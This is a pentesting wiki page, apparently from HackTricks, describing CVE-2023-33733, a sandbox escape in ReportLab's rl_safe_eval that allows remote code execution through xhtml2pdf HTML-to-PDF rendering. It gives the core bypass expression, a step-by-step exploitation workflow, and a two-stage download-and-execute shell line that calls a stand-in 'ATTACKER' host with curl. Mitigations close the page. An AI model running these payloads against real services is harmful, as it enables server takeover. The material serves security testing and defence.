# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
This page documents a practical sandbox escape and RCE primitive in ReportLab’s rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs.
CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands.
Key points
- Trigger: inject [[[ ... ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__.
- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering.
- RCE: getattr(pow, Word("__globals__"))["os"].system("")
- Stability: Return a valid value for the attribute after execution (for color, use and 'red').
When to test
- Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- HTTP response for PDF often starts with a ReportLab generator comment
How the sandbox bypass works
- rl_safe_eval removes or replaces many builtins (getattr, type, pow, ...) and applies name filtering to deny attributes starting with __ or in a denylist.
- However, safe functions live in a globals dictionary accessible as func.__globals__.
- Use type(type(1)) to recover the real builtin type function (bypassing ReportLab’s wrapper), then define a Word class derived from str with mutated comparison behavior so that:
- .startswith('__') → always False (bypass name startswith('__') check)
- .__eq__ returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works)
- .__hash__ equals hash(str(self))
- With this, getattr(pow, Word('__globals__')) returns the globals dict of the wrapped pow function, which includes an imported os module. Then: ['os'].system('').
Minimal exploitation pattern (attribute example)
Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'.
exploit
- The list-comprehension form allows a single expression acceptable to rl_safe_eval.
- The trailing and 'red' returns a valid CSS color so the rendering doesn’t break.
- Replace the command as needed; use ping to validate execution with tcpdump.
Operational workflow
1) Identify PDF generator
- PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment.
2) Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
3) Verify execution with low-noise ICMP
- Run: sudo tcpdump -ni icmp
- Payload: ... system('ping ') ...
- Windows often sends exactly four echo requests by default.
4) Establish a shell
- For Windows, a reliable two-stage approach avoids quoting/encoding issues:
- Stage 1 (download):
exploit
- Stage 2 (execute):
exploit
- For Linux targets, similar two-stage with curl/wget is possible:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Notes and tips
- Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.).
- Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches.
- Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches.
Mitigations and detection
- Upgrade ReportLab to 3.6.13 or later (CVE-2023-33733 fixed). Track security advisories in distro packages as well.
- Do not feed user-controlled HTML/markup directly into xhtml2pdf/ReportLab without strict sanitization. Remove/deny [[[...]]] evaluation constructs and vendor-specific tags when input is untrusted.
- Consider disabling or wrapping rl_safe_eval usage entirely for untrusted inputs.
- Monitor for suspicious outbound connections during PDF generation (e.g., ICMP/HTTP from app servers when exporting documents).
References
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}